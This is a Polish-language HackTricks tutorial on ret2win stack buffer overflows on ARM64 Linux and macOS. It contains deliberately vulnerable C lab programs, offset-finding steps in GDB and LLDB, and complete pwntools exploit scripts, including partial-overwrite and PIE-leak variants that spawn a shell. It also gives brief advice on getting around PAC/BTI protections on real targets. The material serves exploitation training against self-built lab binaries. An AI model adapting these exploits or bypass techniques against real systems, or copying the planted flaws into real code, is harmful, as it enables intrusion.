Ret2win - arm64

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Wprowadzenie do arm64 znajdziesz w:

Introduction to ARM64v8

Code

#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Skompiluj bez pie i canary:

clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
  • Dodatkowa flaga -mbranch-protection=none wyłącza AArch64 Branch Protection (PAC/BTI). Jeśli Twój toolchain domyślnie włącza PAC lub BTI, to utrzymuje powtarzalność labu. Aby sprawdzić, czy skompilowany binary używa PAC/BTI, możesz:
  • Sprawdź właściwości AArch64 GNU:
  • readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'
  • Sprawdź prologi/epilogi pod kątem paciasp/autiasp (PAC) lub padów lądowania bti c (BTI):
  • objdump -d ret2win | head -n 40

Kilka szybkich faktów o konwencji wywołań AArch64

  • Rejestr linku to x30 (a.k.a. lr), a funkcje zazwyczaj zapisują x29/x30 za pomocą stp x29, x30, [sp, #-16]! i przywracają je poleceniem ldp x29, x30, [sp], #16; ret.
  • Oznacza to, że zapisany adres powrotu znajduje się pod adresem sp+8 względem bazy ramki. Przy char buffer[64] umieszczonym poniżej, typowa odległość nadpisania zapisanego x30 to 64 (buffer) + 8 (zapisany x29) = 72 bajty — dokładnie to, co znajdziemy poniżej.
  • Wskaźnik stosu musi pozostać wyrównany do 16 bajtów na granicach funkcji. Jeśli później zbudujesz łańcuchy ROP dla bardziej złożonych scenariuszy, zachowaj wyrównanie SP, inaczej program może się awaryjnie zakończyć podczas epilogów funkcji.

Znalezienie offsetu

Opcja pattern

Ten przykład stworzono przy użyciu GEF:

Uruchom gdb z gef, utwórz pattern i użyj go:

gdb -q ./ret2win
pattern create 200
run

arm64 spróbuje powrócić pod adres zapisany w rejestrze x30 (który został nadpisany), możemy użyć tego, aby znaleźć offset wzorca:

pattern search $x30

Offset wynosi 72 (9x48).

Opcja Stack offset

Rozpocznij od uzyskania stack address, w którym przechowywany jest pc register:

gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

Ustaw teraz punkt przerwania po read() i kontynuuj, aż read() zostanie wykonane, a następnie ustaw wzorzec taki jak 13371337:

b *vulnerable_function+28
c

Znajdź, gdzie ten wzorzec jest przechowywany w pamięci:

Then: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

No PIE

Zwykły

Uzyskaj adres funkcji win:

objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

Eksploit:

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Off-by-1

W rzeczywistości będzie to raczej off-by-2 w przechowywanym PC na stacku. Zamiast nadpisywać cały return address, nadpiszemy tylko ostatnie 2 bajty wartością 0x06c4.

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Inny przykład off-by-one w ARM64 znajdziesz pod https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, który przedstawia rzeczywisty off-by-one w fikcyjnej podatności.

Z PIE

Tip

Skompiluj binarkę bez argumentu -no-pie

Off-by-2

Nie mając leak, nie znamy dokładnego adresu win function, ale możemy znać offset funkcji względem binarki. Wiedząc, że nadpisywany adres powrotu już wskazuje na bliski adres, możliwe jest leak offsetu do win function (0x7d4) w tym przypadku i po prostu użycie tego offsetu:

```python from pwn import *

Configuration

binary_name = ‘./ret2win’ p = process(binary_name)

Prepare the payload

offset = 72 ret2win_addr = p16(0x07d4) payload = b’A’ * offset + ret2win_addr

Send the payload

p.send(payload)

Check response

print(p.recvline()) p.close()

## macOS

### Kod
```c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

__attribute__((noinline))
void win(void) {
system("/bin/sh"); // <- **our target**
}

void vulnerable_function(void) {
char buffer[64];
// **BOF**: reading 256 bytes into a 64B stack buffer
read(STDIN_FILENO, buffer, 256);
}

int main(void) {
printf("win() is at %p\n", win);
vulnerable_function();
return 0;
}

Kompiluj bez canary (w macOS nie możesz wyłączyć PIE):

clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security

Uruchom bez ASLR (choć mając address leak, nie potrzebujemy go):

env DYLD_DISABLE_ASLR=1 ./bof_macos

Tip

Nie można wyłączyć NX w macOS, ponieważ w arm64 tryb ten jest zaimplementowany na poziomie sprzętowym, więc nie da się go wyłączyć — nie znajdziesz więc przykładów z shellcode na stacku w macOS.

Znajdź offset

  • Wygeneruj pattern:
python3 - << 'PY'
from pwn import *
print(cyclic(200).decode())
PY
  • Uruchom program i wpisz pattern, aby spowodować crash:
lldb ./bof_macos
(lldb) env DYLD_DISABLE_ASLR=1
(lldb) run
# paste the 200-byte cyclic string, press Enter
  • Sprawdź rejestr x30 (the return address), aby znaleźć offset:
(lldb) register read x30
  • Użyj cyclic -l <value>, aby znaleźć dokładny offset:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY

# Replace 0x61616173 with the 4 first bytes from the value of x30
  • Tak znalazłem offset 72; umieszczając pod tym offsetem adres funkcji win() możesz wykonać tę funkcję i uzyskać shell (uruchomione bez ASLR).

Exploit

#!/usr/bin/env python3
from pwn import *
import re

# Load the binary
binary_name = './bof_macos'

# Start the process
p = process(binary_name, env={"DYLD_DISABLE_ASLR": "1"})

# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")

# Extract the win() address using regex
match = re.search(r'win\(\) is at (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract win() address")
p.close()
exit(1)

win_address = int(match.group(1), 16)
print(f"Extracted win() address: {hex(win_address)}")

# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8  # 72 bytes total to reach the return address

# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()

macOS - 2. przykład

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

__attribute__((noinline))
void leak_anchor(void) {
puts("leak_anchor reached");
}

__attribute__((noinline))
void win(void) {
puts("Killed it!");
system("/bin/sh");
exit(0);
}

__attribute__((noinline))
void vuln(void) {
char buf[64];
FILE *f = fopen("/tmp/exploit.txt", "rb");
if (!f) {
puts("[*] Please create /tmp/exploit.txt with your payload");
return;
}
// Vulnerability: no bounds check → stack overflow
fread(buf, 1, 512, f);
fclose(f);
printf("[*] Copied payload from /tmp/exploit.txt\n");
}

int main(void) {
// Unbuffered stdout so leaks are immediate
setvbuf(stdout, NULL, _IONBF, 0);

// Leak a different function, not main/win
printf("[*] LEAK (leak_anchor): %p\n", (void*)&leak_anchor);

// Sleep 3s
sleep(3);

vuln();
return 0;
}

Kompiluj bez canary (w macOS nie możesz wyłączyć PIE):

clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security

Znajdź offset

  • Wygeneruj pattern do pliku /tmp/exploit.txt:
python3 - << 'PY'
from pwn import *
with open("/tmp/exploit.txt", "wb") as f:
f.write(cyclic(200))
PY
  • Uruchom program, aby spowodować awarię:
lldb ./bof_macos
(lldb) run
  • Sprawdź rejestr x30 (adres powrotu), aby znaleźć offset:
(lldb) register read x30
  • Użyj cyclic -l <value> aby znaleźć dokładny offset:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
  • W ten sposób znalazłem offset 72, wpisując w ten offset adres funkcji win() możesz wywołać tę funkcję i uzyskać shell (uruchomione bez ASLR).

Oblicz adres funkcji win()

  • Plik binarny jest PIE; używając leak funkcji leak_anchor() i znając offset funkcji win() względem leak_anchor(), możemy obliczyć adres funkcji win().
objdump -d bof_macos | grep -E 'leak_anchor|win'

0000000100000460 <_leak_anchor>:
000000010000047c <_win>:
  • offset wynosi 0x47c - 0x460 = 0x1c

Exploit

#!/usr/bin/env python3
from pwn import *
import re
import os

# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name)

# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")

# Extract the leak_anchor() address using regex
match = re.search(r'LEAK \(leak_anchor\): (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract leak_anchor() address")
p.close()
exit(1)
leak_anchor_address = int(match.group(1), 16)
print(f"Extracted leak_anchor() address: {hex(leak_anchor_address)}")

# Calculate win() address
win_address = leak_anchor_address + 0x1c
print(f"Calculated win() address: {hex(win_address)}")

# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8  # 72 bytes total to reach the return address

# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")

# Write the payload to /tmp/exploit.txt
with open("/tmp/exploit.txt", "wb") as f:
f.write(payload)

print("[*] Payload written to /tmp/exploit.txt")

# Drop to an interactive session
p.interactive()

Notatki o nowoczesnym utwardzaniu AArch64 (PAC/BTI) i ret2win

  • Jeśli binarka jest skompilowana z AArch64 Branch Protection, możesz zobaczyć paciasp/autiasp lub bti c emitowane w prologach/epilogach funkcji. W takim przypadku:
  • Powrót do adresu, który nie jest prawidłowym BTI landing padem, może spowodować SIGILL. Preferuj celowanie w dokładny punkt wejścia funkcji, który zawiera bti c.
  • Jeśli PAC jest włączone dla powrotów, naiwnie nadpisania adresu powrotu mogą zawieść, ponieważ epilog uwierzytelnia x30. W scenariuszach do nauki, przebuduj z -mbranch-protection=none (pokazano powyżej). Przy atakowaniu prawdziwych celów, preferuj przejęcia nie‑związane z powrotem (np. nadpisania wskaźników funkcji) lub buduj ROP, który nigdy nie wykonuje pary autiasp/ret uwierzytelniającej twoje sfałszowane LR.
  • Aby szybko sprawdzić funkcje:
  • readelf --notes -W ./ret2win i szukaj notatek AARCH64_FEATURE_1_BTI / AARCH64_FEATURE_1_PAC.
  • objdump -d ./ret2win | head -n 40 i szukaj bti c, paciasp, autiasp.

Running on non‑ARM64 hosts (qemu‑user quick tip)

Jeśli jesteś na x86_64, ale chcesz poćwiczyć AArch64:

# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross

# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win

# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'

Powiązane strony HackTricks

Ret2syscall - arm64

Ret2lib + Printf leak - arm64

Źródła

  • Włączanie PAC i BTI na AArch64 dla systemu Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
  • Standard wywołań procedur dla architektury Arm 64-bit (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks